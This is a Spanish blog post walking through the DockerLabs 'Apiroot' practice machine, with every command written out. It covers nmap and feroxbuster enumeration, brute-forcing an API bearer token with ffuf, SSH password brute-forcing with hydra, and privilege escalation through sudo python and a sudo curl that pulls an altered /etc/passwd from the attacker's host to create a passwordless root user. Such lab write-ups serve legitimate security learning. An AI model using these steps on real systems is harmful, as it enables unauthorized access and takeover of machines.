Post

Apiroot, DockerLabs

portada

Herramientas y recursos

En este reto de DockerLabs practicamos.

Tecnicas Herramientas
scan de puertos nmap
fuzzing de directorios feroxbuster
fuzzing de parametro o password ffuf
fuerza bruta ssh hydra
escalada python - que basico
escalada curl searchbins

Reconocimiento y enumeracion

Lo primero como siempre le tiramos un nmap con los parámetros de costumbre.

1
sudo nmap -p- -sS -sC -sV --min-rate=5000 -n -Pn -oX apiroot 172.18.0.2

reporte

Como vemos en el reporte en esta ocasion tenemos varios puertos abiertos el el 22 ssh, el 5000 con un server python

Vamos a empezar revisando la web manualmente ya vemos que al menos hay un directorio llamado api y algun otro mas asi que feroxbuster.

1
feroxbuster -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 400 -u http://172.17.0.2:5000/api

Obtenemos el directorio users

ferox

Ahora que tenemos el directorio desconocido seguimos leyendo la web y nos muestra la forma es la que hariamos la peticion pero nos falta un dato el bearer token para ello lanza ffuf con el rockyou pq no creo que sea el tipico bearer Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c lo cual seria de locos intertarlo por fuerza bruta.

1
ffuf -c -w ~/Descargas/rockyou.txt/rockyou.txt -H "Authorization: Bearer FUZZ" -u "http://172.17.0.2:5000/api/users" -fc 401 -fl 31
parametro que hace ejemplo
-c damos color a la salida  
-w indicamos el diccionario rockyou
-H Encabezado o headers en este caso “Authorization: Bearer FUZZ”
-u la url  
-fc 401 que no muestre las respuestas no autorizadas  
-fl 31 filtra las respuestas que tienen una longitud de 31 bytes  

Obtenemos el password

ffuf

Ahora ya con el directorio y la bearer podemos empezar la peticiones a ver que sacamos.

curl

Probe a crear usuarios pero siempre inidcaba que faltan datos .

errores

Pero bueno ya tenemos usuario para probar contra ssh voy a tirar de bob primero con hydra.

1
hydra -l bob -P ~/Descargas/rockyou.txt/rockyou.txt 172.17.0.2 ssh -t 12

hydra

A ver que encontramos….SSH

bob

Como vemos en la imagen nos ha dejado python3 a disposicion. Yo ejecuto lo siguiente.

1
2
3
sudo -u balulero /usr/bin/python3
import pty;
pty.spawn("/bin/bash");

Lo cual me da una shell con el user nuevo.

curl

Ya sabemos lo que hemos de hacer podemos escribir cualquier archivo que sepamos que existe lo mas sencillo es quitarle la x a root del fichero passwd.

Yo en este caso he probado de crear un usario nuevo privilegiado con root.

Me he pasado el passwd a la maquina atacante y he añadido:

1
firstatack::0:0:firstatack:/home/balulero:/bin/bash

Posteriormente he preparado las variable para la escalada con curl.

1
2
URL=http://192.168.0.102:8000/passwd
LFILE=/etc/passwd

En mi maquina atacante levanto un servidor con python y en la victima ejecuto curl.

1
2
python3 -m http.server 8000
sudo curl $URL -o $LFILE

curl2

Una vez cambiado el fichero solo ejecuto.

1
su firstatack

root

HAsta aqui la maquina , divertida porque es muy intuitiva.

Gracias por leer.

This post is licensed under CC BY 4.0 by the author.

Comments powered by Disqus.